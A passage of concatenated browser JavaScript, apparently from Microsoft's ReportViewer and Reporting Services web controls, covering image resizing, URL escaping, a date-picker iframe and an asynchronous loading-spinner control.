                            continue;
                        var img = imgsInDiv[0];


                        var width = div.parentNode.clientWidth;
                        width = Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalPaddings(div.parentNode, width);
                        if (width < 0)
                        {
                            width = 1;
                        }

                        img.width = width;
                        if (img.width != width)
                        {
                            img.style.width = width + "px";
                        }
                    }
                }
            }

            for (var i = 0; i < ids.length; i++)
            {
                var id = ids[i];
                if ((id) && (id != ""))
                {
                    var div = document.getElementById(id);
                    if (div)
                    {
                        var imgsInDiv = div.getElementsByTagName("IMG");
                        if (imgsInDiv.length == 0)
                            continue;
                        var img = imgsInDiv[0];

                        var height = div.parentNode.clientHeight;

                        height = Microsoft_ReportingServices_HTMLRenderer_SubtractVerticalPaddings(div.parentNode, height);
                        if (height < 0)
                        {
                            height = 1;
                        }

                        img.height = height;

                        if (img.height != height)
                        {
                            img.style.height = height + "px";
                        }
                    }
                }
            }
        }
    }
}
=// this function performs an aggressive unicode URL-encoding
// convert non alphanum character into UTF-8 code string
// in format %XX%XX%XX
var UTF8_1ST_OF_2         = 0xc0   ;   // 110x xxxx
var UTF8_1ST_OF_3         = 0xe0   ;   // 1110 xxxx
var UTF8_1ST_OF_4         = 0xf0   ;  // 1111 0xxx
var UTF8_TRAIL            = 0x80   ;   // 10xx xxxx
var HIGH_SURROGATE_BITS   = 0xD800 ;
var LOW_SURROGATE_BITS    = 0xDC00 ;
var SURROGATE_6_BIT       = 0xFC00 ;
var SURROGATE_ID_BITS     = 0xF800 ;
var SURROGATE_OFFSET      = 0x10000;

function escapeProperlyCoreCore(str, bAsUrl, bForFilterQuery, bForCallback)
{
    var strOut = "";
    var strByte = "";
    var ix = 0;
    var strEscaped = " \"%<>\'&";

    if (typeof(str) == "undefined") // making this more robust
        return "";
	
    for (ix = 0; ix < str.length; ix++)
    {
        var charCode = str.charCodeAt(ix);
        var curChar = str.charAt(ix);
        
        if(bAsUrl && (curChar == '#' || curChar == '?') ) 
        {
            strOut += str.substr(ix);
            break;
        }

        if (bForFilterQuery && curChar == '&')
        {
            strOut += curChar;
            continue;
        }

        if (charCode <= 0x7f)
        {
            if (bForCallback)
            {
                strOut += curChar;
            }
            else
            {
                if ( (charCode >= 97 && charCode <= 122) ||
                     (charCode >= 65 && charCode <= 90) ||
                     (charCode >= 48 && charCode <= 57) ||
                     (bAsUrl && (charCode >= 32 && charCode <= 95) && strEscaped.indexOf(curChar) < 0))
                {
                    strOut += curChar;
                }
                else if (charCode <= 0x0f)
                {
                    strOut += "%0" + charCode.toString(16).toUpperCase();
                }
                else if (charCode <= 0x7f)
                {
                    strOut += "%" + charCode.toString(16).toUpperCase();
                }
            }
        }
        else if (charCode <= 0x07ff)
        {
            strByte = UTF8_1ST_OF_2 | (charCode >> 6);
            strOut += "%" + strByte.toString(16).toUpperCase() ; 
            strByte = UTF8_TRAIL | (charCode & 0x003f);
            strOut += "%" + strByte.toString(16).toUpperCase();
        }
        else if ((charCode & SURROGATE_6_BIT) != HIGH_SURROGATE_BITS)
        {
            strByte = UTF8_1ST_OF_3 | (charCode >> 12);
            strOut += "%" + strByte.toString(16).toUpperCase();
            strByte = UTF8_TRAIL | ((charCode & 0x0fc0) >> 6);  // middle 6 bits
            strOut += "%" + strByte.toString(16).toUpperCase();
            strByte = UTF8_TRAIL | (charCode & 0x003f);         // lower 6 bits
            strOut += "%" + strByte.toString(16).toUpperCase();
        }
        else if (ix < str.length - 1)
        {
            var charCode = (charCode & 0x03FF) << 10;           // lower 10 bits of first char
            ix ++; 
            var nextCharCode = str.charCodeAt(ix);

            charCode |= nextCharCode & 0x03FF;                  // lower 10 bits of second char
            charCode += SURROGATE_OFFSET;

            strByte =UTF8_1ST_OF_4 | (charCode >> 18);
            strOut += "%" + strByte.toString(16).toUpperCase();
            strByte =UTF8_TRAIL | ((charCode & 0x3f000) >> 12); // upper 6 bits
            strOut += "%" + strByte.toString(16).toUpperCase();
            strByte =UTF8_TRAIL | ((charCode & 0x0fc0) >> 6);   // middle 6 bits
            strOut += "%" + strByte.toString(16).toUpperCase();
            strByte =UTF8_TRAIL | (charCode & 0x003f);          // lower 6 bits
            strOut += "%" + strByte.toString(16).toUpperCase();
        }
    }
    return strOut;
}

function escapeProperly(str)
{
    return escapeProperlyCoreCore(str, false, false, false);
}

function escapeProperlyCore(str, bAsUrl)
{
    return escapeProperlyCoreCore(str, bAsUrl, false, false);
}

function escapeUrlForCallback(str)
{
    // Callbacks do not work if a #bookmark is in the URL. If there is a bookmark then we need to remove it. We also need to
    // deal with the scenario where there is not a bookmark but there is an unencoded # as a part of a name/value after the '?'.
    // This is how things should work here:
    //      .../foo.aspx -> .../foo.aspx (unchanged)
    //      .../foo.aspx#bookmark -> .../foo.aspx (bookmark is removed)
    //      .../foo.aspx#bookmark?name=value -> .../foo.aspx?name=value (bookmark is removed)
    //      .../foo.aspx#bookmark?name1=value#extra1&name2=value2 -> .../foo.aspx?name1=value#extra1&name2=value2 (only the bookmark # is removed)
    //      .../foo.aspx?name1=value#extra1&name2=value2 -> .../foo.aspx?name1=value#extra1&name2=value2 (unchanged)
    var iPound = str.indexOf("#");
    var iQues=str.indexOf("?");
    if ((iPound > 0) && ((iQues == -1) || (iPound < iQues)))
    {
        var strNew = str.substr(0, iPound);
        if (iQues > 0)
        {
            strNew += str.substr(iQues); // Need to include the '?' along with the "name=value" pairs.
        }
        str = strNew;
    }
    return escapeProperlyCoreCore(str, true, false, true);
}

function PageUrlValidation(url)
{
	if (url.substr(0, 4) != "http" && url.substr(0,1) != "/")
	{   // This alert should not fire in regular page
		// unless someone is messing up with the page or page URL.
		var L_InvalidPageUrl_Text = "Invalid page URL: ";
		alert(L_InvalidPageUrl_Text + url);
		return "";
	}
	else
		return url;    
}

var g_currentID;
var g_currentShowing = "DatePickerDiv";
var g_strDatePickerFrameID = "DatePickerFrame";
var g_strDatePickerImageID = "DatePickerImage";
var g_scrollLeft;
var g_scrollTop;

function getOffsetTop(elem, value)
{
    if (elem == null) return value;

    if (elem.tagName.toUpperCase() == "TD" && elem.runtimeStyle.borderTopStyle != "none")
    {
        var shift = parseInt(elem.runtimeStyle.borderTopWidth);
        if (!isNaN(shift)) 
        {
            value += shift;
        }
    }
    
    return getOffsetTop(elem.offsetParent, elem.offsetTop - elem.scrollTop + value);
}

function getOffsetLeft(elem, value)
{
    if (elem == null) return value;
    
    if (elem.tagName.toUpperCase() == "TD" && elem.runtimeStyle.borderLeftStyle != "none")
    {
        var shift = parseInt(elem.runtimeStyle.borderLeftWidth);
        if (!isNaN(shift)) {
            value += shift;
        }
    }
    
    return getOffsetLeft(elem.offsetParent, elem.offsetLeft - elem.scrollLeft + value);
}

function getDate(field,serverDate)
{
	if (field.value != null)
		return field.value;
	else
		return serverDate;
}

function PositionFrame(thediv)
{
	var elt = document.getElementById(thediv);
	var ifrm = GetParentWindow(document).frameElement;
	if (ifrm == null || elt == null)
		return;

    if (elt.offsetWidth > 0)    
        ifrm.style.width = elt.offsetWidth + "px";
    if (elt.offsetHeight > 0)
	    ifrm.style.height = elt.offsetHeight + "px";

	var elm = document.getElementById(g_currentID);
	if (elm == null)
		return;
	try { elm.focus(); } catch (exception) {}
	return;
}

function HideUnhide(nhide,nunhide, id, focusElementID)
{
	Hide(nhide);
	Unhide(nunhide);

	PositionFrame(nunhide);
	g_currentID = id;
	g_currentShowing = nunhide;
	var focusElement = document.getElementById(focusElementID);
	if (focusElement != null)
	    focusElement.focus();
}

function datereplace(ourl,pattern,newstr)
{
  var str = new String(ourl);
  var res = str.indexOf(pattern);
  if (res != -1)
  {
	 var resString = str.substring(0,res);
  	 resString += newstr;
	 var resapp = str.indexOf("&",res);
	 if (resapp != -1)
	 {
		resString += str.substr(resapp+1);
	 }		
	return resString;
  }
  else
  {
    var q = str.indexOf("?");
    if (q == -1) str += "?";
    if (str.charAt(str.length-1) != '&') str += "&";
	str += newstr;
	return str;
  }
}
function MoveToDate(dt, isPreviousMonthMove)
{
  var ourl = document.location.href;
  var pattern = "date=";
    
  // remove any previous month move settings
  ourl=datereplace(ourl,"Previous=", "");
  
  if (isPreviousMonthMove)
    ourl = ourl + "&Previous=True";    
    
  if (timePortion != null)
    dt = dt + timePortion;

  // Replace any date elements
  ourl = datereplace(ourl,pattern,"date="+escapeProperly(dt)+"&");
  // reset the location to the new one
  document.location.replace(ourl);
  return true;
}

function GetParentWindow(doc) {
	// try the ie/opera way
	var retval = doc.parentWindow;
	// now the firefox/safari way
	if (!retval)
		retval = doc.defaultView;
	return retval;
}

function OnKeyDown(elem)
{
	var evtSource = GetParentWindow(elem.document).event;
	var nKeyCode = evtSource.keyCode;
	
	switch (nKeyCode)
		{
	case 27: // Escape
		evtSource.returnValue = false;
		ClosePicker();
		break;
		
	case 38: // Up
		evtSource.returnValue = false;
		MoveDays(-7);
		break;

	case 40: // Down
		evtSource.returnValue = false;
		MoveDays(7);
		break;

	case 37: // Left
		evtSource.returnValue = false;
		MoveDays(-1);
		break;

	case 39: // Right
		evtSource.returnValue = false;
		MoveDays(1);
		break;
		}
}

function ClosePicker()
{
	var ifrm = GetParentWindow(document).frameElement;
	if (ifrm == null)
	{
		return;
	}
	ifrm.resultfunc();
	// Hide the picker.
	ifrm.style.display = "none";
	ifrm = null;
}

function MoveDays(iday)
{
	var stNextID;
	// YYYYMMDD
	if (g_currentID == null || g_currentID.length < 6)
		return;

	var yr = g_currentID.substr(0, 4) - 0;
	var mon = g_currentID.substr(4, 2) - 0;
	var day = g_currentID.substr(6, 2) - 0;

	if (day + iday < 1)
	{
		return;
	}
	else
	{
		stNextID = g_currentID.substr(0, 6) + St2Digits(day+iday);
		var elm = document.getElementById(stNextID);
		if (elm == null)
			return;
		g_currentID = stNextID;
		try { elm.focus(); } catch (exception) {}
	}
}

function St2Digits(w)
{
	var st = "";
	if (w < 0)
		return st;
	if (w < 10)
		st += "0";
	st += w;
	return st;
}

function clickDatePicker(field, src, datestr)
{
	var date;
	var objField = document.getElementById(field);
	var fieldid;
	if (event != null)
		event.cancelBubble = true;
	if(field == null && this.Picker != null)
	{
		this.Picker.style.display = "none";
		this.Picker = null;
	}
	else if (objField != null)
	{
		var fieldelm = document.getElementById(field);
		if(fieldelm != null && fieldelm.isDisabled)
			return;
		date = getDate(objField, datestr);
		fieldid = objField.id;
		var objDatePickerImage = document.getElementById(fieldid+g_strDatePickerImageID);
		clickDatePickerHelper(fieldid, fieldid+g_strDatePickerFrameID, objDatePickerImage, date, src, OnSelectDate, OnPickerFinish);
		document.body.onclick = OnPickerFinish;
	}
}

function clickDatePickerHelper(textboxid, iframeid, objImage, datestr, iframesrc, OnSelectDateCallback, onpickerfinishcallback)
{
	var strCurrentResultFieldId = "";
		
	// If date picker is already open, hide it
	if (this.Picker != null)
	{
		this.Picker.style.display = "none";
		strCurrentResultFieldId = this.Picker.resultfield.id;
		if (this.Picker.resultfunc != null)
		{
			this.Picker.resultfunc();
		}
		this.Picker = null;
	}
	
	// 1. Click on the button for currently open datepicker ==> close the open datepicker [i.e. act as toggle button]
	// 2. Click on the button for a different datepicker ==> close the open datepicker and open the clicked one
	if (strCurrentResultFieldId == textboxid)
	{
		// Case 1 - We have already closed the datepicker and we are done
		return;
		
		// Case 2 - Continue to open the clicked datepicker
	}
	
	// open the date picker
	if (textboxid != null)
	{
		// Get the date picker iframe
		this.Picker = document.getElementById(iframeid);
 		if (this.Picker == null)
 			return;

		g_scrollLeft = document.body.scrollLeft;
		g_scrollTop = document.body.scrollTop;
		this.Picker.attachEvent("onreadystatechange", OnIframeLoadFinish);
		// Get the textbox associated with the date picker
 		this.Picker.resultfield = document.getElementById(textboxid);
 		
 		// Set the callback function to be called from the iframe when a date is selected
 		this.Picker.OnSelectDateCallback = OnSelectDateCallback;
 		
 		// Set the callback function to be called from the iframe when the date picker iframe is closed
 		this.Picker.resultfunc = onpickerfinishcallback;
 		
 		// Navigate the iframe to the given iframesrc + (date to select by default)
 		// Date to select is either the date set in the textbox or a default date
 		var strNewPickerSrc = PageUrlValidation(iframesrc) + escapeProperly(datestr);
		this.Picker.src = strNewPickerSrc;
		
		// Position the iframe
		var iframeTop = getOffsetTop(objImage, 1);
		var iframeLeft = getOffsetLeft(objImage, 1);
		var containerTop = getOffsetTop(this.Picker.offsetParent, 1);
		var containerLeft = getOffsetLeft(this.Picker.offsetParent, 1);
		this.Picker.style.pixelTop = iframeTop - containerTop + objImage.offsetHeight + 1;
		this.Picker.style.pixelRight = iframeLeft - containerLeft + objImage.offsetWidth + 1;
		if (this.Picker.currentStyle.direction=="rtl")
		{
			var cx=this.Picker.offsetParent.offsetWidth;
			this.Picker.style.pixelLeft = iframeLeft - containerLeft + objImage.offsetWidth + 1;
			this.Picker.style.pixelLeft=cx - this.Picker.style.pixelLeft;
		}
		else
		{
			this.Picker.style.pixelRight = iframeLeft - containerLeft + objImage.offsetWidth + 1;
		}
	}
}

function ClickDay(date)
{
	var ifrm=GetParentWindow(document).frameElement;
	if (ifrm==null)
	{
		return MoveToDate(date, false);
	}
	
	// Use callback to set date
	OnSelectDate(ifrm.resultfield, date);
	
	// Use callback to close iframe
	var resultfunc=ifrm.resultfunc;
	resultfunc(ifrm.resultfield);
	return true;
}

function OnPickerFinish(resultfield)
{
	clickDatePicker(null,"","");
}

function OnSelectDate(resultfield, date)
{
    if (timePortion != null)
        date = date + timePortion;

	var autoPostBack=resultfield.attributes.getNamedItem("AutoPostBack");
	var shouldPostBack=(autoPostBack!=null && autoPostBack.value=="1" && resultfield.value != date);
	var shouldNotifyChange = (resultfield.value != date);
	resultfield.value=date;
	if ( (shouldNotifyChange) && (resultfield.onvaluesetfrompicker) && (!shouldPostBack))
	{
		if (typeof(resultfield.onvaluesetfrompicker) == 'function')
		{
			resultfield.onvaluesetfrompicker();
		}
		else
		{
			eval(resultfield.onvaluesetfrompicker);
		}
	}
	if (shouldPostBack) window.setTimeout("__doPostBack('"+resultfield.id+"','')",0);
}

function OnIframeLoadFinish(state)
{
	if(this.Picker != null &&
		this.Picker.readyState != null && 
		this.Picker.readyState == "complete")
	{
		document.body.scrollLeft = g_scrollLeft;
		document.body.scrollTop = g_scrollTop;
		this.Picker.style.display = "block";
		document.frames(this.Picker.id).focus();
	}
}

function Hide(nhide)
{
	var eltHide=document.getElementById(nhide);
	if (eltHide !=null)
		eltHide.style.display="none";
}
function Unhide(nunhide)
{
	var eltUnhide=document.getElementById(nunhide);
	if (eltUnhide !=null)
		eltUnhide.style.display="block";
}
function ShowLoading()
{
    Hide(g_currentShowing);
    Unhide('LoadingDiv');
}
YType.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._AsyncWaitControl = function(element)
{
    Microsoft.Reporting.WebFormsClient._AsyncWaitControl.initializeBase(this, [element]);

    this.ReportViewerId = null;
    this.WaitControlId = null;
    this.FixedTableId = null;
    this.ClientCanceledId = null;
    this.DisplayDelay = 0;
    this.SkipTimer = false;
    this._postBackElement = null;
    this.m_triggerIds = null;

    this.m_delayTimerCompletedDelegate = Function.createDelegate(this, this._onDelayStartTimerCompleted);
    this.m_onReportViewerLoadingChangedDelegate = Function.createDelegate(this, this._onReportViewerLoadingChanged);
    this.m_onPageRequestBeginRequestDelegate = Function.createDelegate(this, this._onPageRequestBeginRequest);
    this.m_onPageRequestEndRequestDelegate = Function.createDelegate(this, this._onPageRequestEndRequest);

    this.m_visiblePollingTimer = null;

    this.m_delayTimer = null;

    this.m_waitControl = null;

    this.m_reportViewer;

    this.m_reallyCanceled = false;
    this.m_waitVisible = false;
    this.m_transVisible = false;
}

Microsoft.Reporting.WebFormsClient._AsyncWaitControl.prototype =
{
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._AsyncWaitControl.callBaseMethod(this, "initialize");
        if (this.ReportViewerId)
        {
            this.m_reportViewer = $find(this.ReportViewerId);

            if (this.m_reportViewer != null)
            {
                this.m_reportViewer.add_propertyChanged(this.m_onReportViewerLoadingChangedDelegate);
            }

            var pageRequestManager = this._getPageRequestManager();
            if (pageRequestManager)
            {
                pageRequestManager.add_beginRequest(this.m_onPageRequestBeginRequestDelegate);
                pageRequestManager.add_endRequest(this.m_onPageRequestEndRequestDelegate);
            }

            this.m_waitControl = $get(this.WaitControlId);
        }
    },

    get_TriggerIds: function()
    {
        return this.m_triggerIds;
    },

    set_TriggerIds: function(triggerIds)
    {
        this.m_triggerIds = triggerIds;
    },

    dispose: function()
    {
        if (this.m_onReportViewerLoadingChangedDelegate)
        {
            this.m_reportViewer.remove_propertyChanged(this.m_onReportViewerLoadingChangedDelegate);
            this.m_onReportViewerLoadingChangedDelegate = null;
            delete this.m_onReportViewerLoadingChangedDelegate;
        }

        var pageRequestManager = this._getPageRequestManager();
        if (pageRequestManager)
        {
            pageRequestManager.remove_beginRequest(this.m_onPageRequestBeginRequestDelegate);
            pageRequestManager.remove_endRequest(this.m_onPageRequestEndRequestDelegate);
        }

        if (this.m_onPageRequestBeginRequestDelegate)
        {
            this.m_onPageRequestBeginRequestDelegate = null;
            delete this.m_onPageRequestBeginRequestDelegate;
        }

        this._clearPollingTimer();
        this._clearDelayTimer();

        delete this.m_delayTimerCompletedDelegate;

        Microsoft.Reporting.WebFormsClient._AsyncWaitControl.callBaseMethod(this, "dispose");
    },

    _getPageRequestManager: function()
    {
        if (Sys.WebForms && Sys.WebForms.PageRequestManager)
            return Sys.WebForms.PageRequestManager.getInstance();

        return null;
    },

    _cancelCurrentPostback: function()
    {
        // there is a tricky race condition in this code. If pageRequestManager says we are in
        // a postback, it's possible for the postback to complete before we call abortPostBack().
        // That postback will "slip through the cracks", and we won't successfully cancel it.
        // m_reallycanceled lets us know we really want the current happenings to be canceled.
        // We listen to pageRequestManager's endRequest event. If m_reallyCanceled is true,
        // but the postback wasn't aborted, then it slipped through and we force the cancellation
        // in _onPageRequestEndRequest

        this.m_reallyCanceled = true;

        var pageRequestManager = this._getPageRequestManager();
        if (pageRequestManager && pageRequestManager.get_isInAsyncPostBack())
        {
            // if we are still in a postback, then great, all we have to do is kill it.
            // The viewer will be non the wiser, and we get a nice clean cancellation.
            pageRequestManager.abortPostBack();

            if (this._triggeringControlWasForThisViewer() && this._triggeringControlWasAsyncLoadTarget())
            {
                // we do need to let the server know a cancel happened, so we'll send that up in this hidden field
                var cancelField = $get(this.ClientCanceledId);
                cancelField.value = "true";
            }
        }
        else
        {
            // Not in an async postback? then the postback has finished and the report is loading
            // its images. In this case, the viewer is busy getting the report ready, so we have to actively stop this.
            this._cancelReportViewerLoading();
        }
    },

    _cancelReportViewerLoading: function()
    {
        var internalViewer = this.m_reportViewer._tryGetInternalViewer();

        if (internalViewer == null)
            throw Error.invalidOperation("Unexpected error: InternalViewer unavailable for calling OnUserCanceled.");

        internalViewer.OnUserCanceled();
    },

    _onPageRequestBeginRequest: function(sender, e)
    {
        this._postBackElement = e.get_postBackElement();
        this.m_reallyCanceled = false;
    },

    _onPageRequestEndRequest: function(sender, e)
    {
        // if user really did cancel, but this postback is claiming
        // it was never aborted, then our race condition occured, and so
        // we need to force canceling from here
        if (!e.get_response().get_aborted() && this.m_reallyCanceled)
        {
            this._cancelReportViewerLoading();
        }
    },

    _clearDelayTimer: function()
    {
        if (this.m_delayTimer != null)
        {
            clearTimeout(this.m_delayTimer);
            this.m_delayTimer = null;
        }
    },

    _clearPollingTimer: function()
    {
        if (this.m_visiblePollingTimer != null)
        {
            clearTimeout(this.m_visiblePollingTimer);
            this.m_visiblePollingTimer = null;
        }
    },

    _triggeringControlWasAsyncLoadTarget: function()
    {
        var eventTarget = this._postBackElement;

        if (eventTarget && eventTarget.id.indexOf("Reserved_AsyncLoadTarget") >= 0)
        {
            return true;
        }

        return false;
    },

    _areRelated: function(ancestor, descendant)
    {
        // using the overload of $get to see if descendant is a descendant of ancestor
        // this is equivalent to ancestor.getElementById(descendant.id)
        // it will return null if $get fails to find descendant under ancestor
        return ancestor && descendant && (ancestor == descendant || _$RVCommon.getPostBackTargetElementById(descendant.id, ancestor));
    },

    _triggeringControlWasForThisViewer: function()
    {
        var eventTarget = this._postBackElement;

        // If the postback came from something registered in our triggers list, then we are interested
        // in it and should react by doing things like showing async spinny.
        // The viewer itself is registered in this list, so it doesn't need a special case here.

        if (eventTarget)
        {
            var triggerIds = this.get_TriggerIds();
            for (var i = 0; i < triggerIds.length; ++i)
            {
                var ancestor = $get(triggerIds[i]);

                if (this._areRelated(ancestor, eventTarget))
                {
                    return true;
                }
            }
        }

        return false;
    },

    _onReportViewerLoadingChanged: function(sender, e)
    {
        if (e.get_propertyName() == "isLoading")
        {
            var isLoading = this.m_reportViewer.get_isLoading();

            if (!isLoading)
            {
                // If a viewer is about to trigger a postback, don't hide the transparency
                // Explicitly check for true to force passing in a boolean to 
                var showTrans = Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.AsyncTriggerSelected == true;

                // hide the async wait control
                this.set_visible(showTrans, false);
                this._clearDelayTimer();
                this._clearPollingTimer();
            }
            else
            {
                // the control will tell spinny to dislay immediately if this
                // is the first time a report is being rendered
                if (this.SkipTimer)
                {
                    this.SkipTimer = false;
                    this._onDelayStartTimerCompleted();
                }
                else
                {
                    this.m_delayTimer = setTimeout(this.m_delayTimerCompletedDelegate, this.DisplayDelay);
                }
            }
        }
    },

    _onDelayStartTimerCompleted: function()
    {
        this.set_visible(true, this._triggeringControlWasForThisViewer());
    },

    set_visible: function(transVisible, waitVisible)
    {
        /// <summary>
        /// This is the "public" entry point to hiding/showing spinny.
        /// The other methods: _start_visibility_polling and _set_visible_core should not
        /// be directly called.
        ///
        /// Here we just record what the current state of spinny should be, and then
        /// kick off the polling
        /// </summary>

        this.m_transVisible = transVisible;
        this.m_waitVisible = waitVisible;

        this._start_visibility_polling();
    },


    _start_visibility_polling: function()
    {
        this._set_visible_core();

        // set a timer that will check and position spinny on a regular interval
        // this accounts for if the user resizes the window with spinny showing when
        // the layout uses percentages. A timer is necessary instead of listening to the
        // resize event because IE does not always fire the event. For simplicity, it was decided
        // to use the timer for all browsers, as using the resize event in Firefox/Safari didn't buy
        // enough to warrant the multiple code paths
        if (this.m_reportViewer.get_isLoading())
        {
            // this value influences how this action behaves
            // longer timeout = smoother overall, but spinny stays in the wrong place longer
            // shorter timeout = jerkier, but spinny stays in the wrong place shorter
            // 200 millis seemed about the best compromise between the two on a modern machine
            var timeoutMillis = 200;

            this.m_visiblePollingTimer = setTimeout(Function.createDelegate(this, this._start_visibility_polling), timeoutMillis);
        }
    },

    _set_visible_core: function()
    {
        var transVisible = this.m_transVisible;
        var waitVisible = this.m_waitVisible;

        var element = this.get_element();

        // This is to position spinny correctly in the case of the viewer placed in a non-static
        // element. See the method below for more details
        var anchoringParentOffset = this._getAnchoringParentOffsets(element);

        if (transVisible)
        {
            var dims = this._getBounds();

            element.style.top = (dims.top - anchoringParentOffset.top) + "px";
            element.style.left = (dims.left - anchoringParentOffset.left) + "px";
            element.style.width = dims.width + "px";
            element.style.height = dims.height + "px";
        }

        element.style.zIndex = 1000;
        this.m_waitControl.style.zIndex = 1001;

        Sys.UI.DomElement.setVisible(element, transVisible);
        Sys.UI.DomElement.setVisible(this.m_waitControl, waitVisible);

        if (transVisible)
        {
            this._clip(element);
        }

        if (waitVisible)
        {
            // must center spinny after making it visible, otherwise spinny has no
            // dimensions to work with

            var centering = this._getTopLeftForCenter(this.m_waitControl);
            this.m_waitControl.style.top = (centering.top - anchoringParentOffset.top) + "px";
            this.m_waitControl.style.left = (centering.left - anchoringParentOffset.left) + "px";

            this._clip(this.m_waitControl);
        }
    },

    _getAnchoringParentOffsets: function(element)
    {
        /// <summary>
        /// This method acquires the element's nearest offset parent's offsets
        /// from the window. This is used to position spinny correctly.
        /// </summary>
        ///
        /// <remarks>
        /// If the viewer is placed in an absolute, fixed or relative element,
        /// then spinny (who is position:absolute) will get its positioning
        /// anchored off of that element. The normal course of things is to determine
        /// where spinny should go relative to the window, then position it with those values
        /// but if spinny has an offset parent, it will get positioned off of that parent and not
        /// the window, causing spinny to be too far to the left and too far down. This method
        /// determines that element's offset, and we use these values to subtract spinny's ultimate
        /// position, to account for this.
        ///
        /// NOTES: this method must move up the parentNode hierarchy and not the offsetParent hierarchy
        /// because Safari and Firefox both do not consider a fixed element to be in the offset hierarchy,
        /// even though spinny will get anchored off of them
        ///
        /// We don't care about whether an ancestor has overflow or not because we are positioning off
        /// of the ancestor's upper corner, where the overflow is irrelevant. the _clip() method below
        /// will deal with overflow issues in order to clip spinny accordingly
        /// </remarks>



        var top = 0;
        var left = 0;

        if (element)
        {
            var node = element.parentNode;

            while (node && node.style != undefined && !this.HasAnchoringPositionStyle(node))
            {
                node = node.parentNode;
            }

            if (node && node.style != undefined)
            {
                var offset = _$RVCommon.documentOffset(node);
                top = offset.top;
                left = offset.left;
            }

            // Now we need to deal with the anchoring node's borders. This is handled
            // differently for the body versus any other element, and also handled differently by browser mode

            // we purposely skipped the body in the while loop above. If the anchoring element really is the body,
            // we need to handle it as a special case, instead of the standard case above. We deal with body below.
            // So if we made it all the way up to document, then really the body is what we are interested in 
            // for the remainder of the method.
            if (node == document)
            {
                node = document.body;
            }

            // NOTE: "borderTopWidth" does not work in Firefox/Safari, but "border-top-width" works in everything
            var borderTopWidth = _$RVCommon.getInt(_$RVCommon.getComputedStyle(node, "border-top-width"));
            var borderLeftWidth = _$RVCommon.getInt(_$RVCommon.getComputedStyle(node, "border-left-width"));

            if (node == document.body && !_$RVCommon.isPreIE8StandardsMode() && !_$RVCommon.isIEQuirksMode())
            {
                // IE8 standards, Firefox and Safari will cause our offsets to be off by the body's border size,
                // so we need to adjust for that. For quirks mode, this is not needed

                top -= borderTopWidth;
                left -= borderLeftWidth;
            }
            else if (node != document.body)
            {
                // for non body nodes in all browsers, we need to take their borders into account
                top += borderTopWidth;
                left += borderLeftWidth;
            }
        }

        return { top: top, left: left };
    },

    HasAnchoringPositionStyle: function(element)
    {
        // we don't want body to be considered in this method. for body, we basically want this
        // method to return false, because body is a special case in regards to margins, padding and borders
        // see above in _getAnchoringParentOffsets how we handle body.

        // Retrieve the CSS positioning style for a given node.  This method takes into account
        // positioning that is set via a style sheet in addition to inline styles.
        // The currentStyle property is supported by IE. Other browsers (Firefox, Safari) must use the
        // getComputedStyle method.
        var positionStyle = "";
        if (element.currentStyle != null)
            positionStyle = element.currentStyle.position;
        else if (window.getComputedStyle != null)
        {
            var cs = window.getComputedStyle(element, null);
            positionStyle = cs.getPropertyValue('position');
        }

        return positionStyle == "fixed" || positionStyle == "absolute" || positionStyle == "relative";
    },

    _clip: function(element)
    {
        /// <summary>
        /// Ensures the given element doesn't extend beyond a constraining parent
        /// </summary>


        // find a parent that has constrained its children's visibility with overflow
        // two parentNodes here because the first one is the updatepanel of the viewer
        var parent = $get(this.ReportViewerId).parentNode.parentNode;

        while (parent && this._hasNoOverflowSet(parent))
        {
            parent = parent.parentNode;
        }

        // if found one, set this element's clip to ensure it
        // does not go out beyond its parent
        if (parent)
        {
            var pbounds = _$RVCommon.getBounds(parent);
            var ebounds = _$RVCommon.getBounds(element);

            if (parent.scrollWidth > parent.clientWidth
                && parent.style.overflow != "hidden"
                && parent.style.overflowX != "hidden"
                && !_$RVCommon.isSafari()) // safari already accounts for scrollbars when reporting sizes
            {
                // has horizontal scrollbar
                pbounds.height -= 18;
                pbounds.bottom -= 18;
            }

            if (parent.scrollHeight > parent.clientHeight
                && parent.style.overflow != "hidden"
                && parent.style.overflowY != "hidden"
                && !_$RVCommon.isSafari())  // safari already accounts for scrollbars when reporting sizes
            {
                // has vertical scrollbar
                pbounds.width -= 18;
                pbounds.right -= 18;
            }

            var topClip = ebounds.top < pbounds.top ? pbounds.top - ebounds.top : 0;
            var leftClip = ebounds.left < pbounds.left ? pbounds.left - ebounds.left : 0;

            var bottomClip = ebounds.height - (ebounds.bottom - pbounds.bottom);
            var rightClip = ebounds.width - (ebounds.right - pbounds.right);

            // rect(top, right, bottom, left)
            // clip works non-intuitively. top and left define the upper left corner of the clipping rectangle
            // relative to the element. bottom and right define the bottom right corner, relative
            // to the element. It doesn't work like padding and margin do.
            var clip = "rect(" + topClip + "px," + rightClip + "px," + bottomClip + "px," + leftClip + "px)";
            element.style.clip = clip;
        }
    },

    _hasNoOverflowSet: function(element)
    {
        if (
        (element == null)
            ||
            (element.style == undefined)
            ||
            (
            element.style.overflow != "hidden"
            && element.style.overflow != "scroll"
            && element.style.overflow != "auto"
            && element.style.overflowX != "hidden"
            && element.style.overflowX != "scroll"
            && element.style.overflowX != "auto"
            && element.style.overflowY != "hidden"
            && element.style.overflowY != "scroll"
            && element.style.overflowY != "auto"
            )
        )
        {
            return true;
        }
        else
        {
            return false;
        }
    },

    _getTopLeftForCenter: function(element)
    {
        var dims = this._getBounds();
        var elemDims = _$RVCommon.getBounds(element);

        var top = dims.top + dims.height / 2.0 - elemDims.height / 2.0;
        var left = dims.left + dims.width / 2.0 - elemDims.width / 2.0;


        // clamp async spinny within the bounds of the viewer
        // basically we are saying nothing the viewer produces (ie spinny)
        // will invade above or just behind in the document, for below and
        // just ahead in the document, we make no promise
        var isRtl = this.m_reportViewer._get_direction() == "rtl";

        if (isRtl)
        {
            var elementRight = left + elemDims.width;
            var viewerRight = dims.left + dims.width;
            if (elementRight > viewerRight)
            {
                left -= elementRight - viewerRight;
            }
        }
        else if (left < 0)
        {
            left = 0;
        }


        if (top < 0)
        {
            top = 0;
        }

        return { top: top, left: left };
    },

    _getBounds: function()
    {
        var fixedTable = $get(this.FixedTableId);

        var offsets = _$RVCommon.documentOffset(fixedTable);
        var top = offsets.top;
        var left = offsets.left;

        var lastRow = fixedTable.rows.item(fixedTable.rows.length - 1);

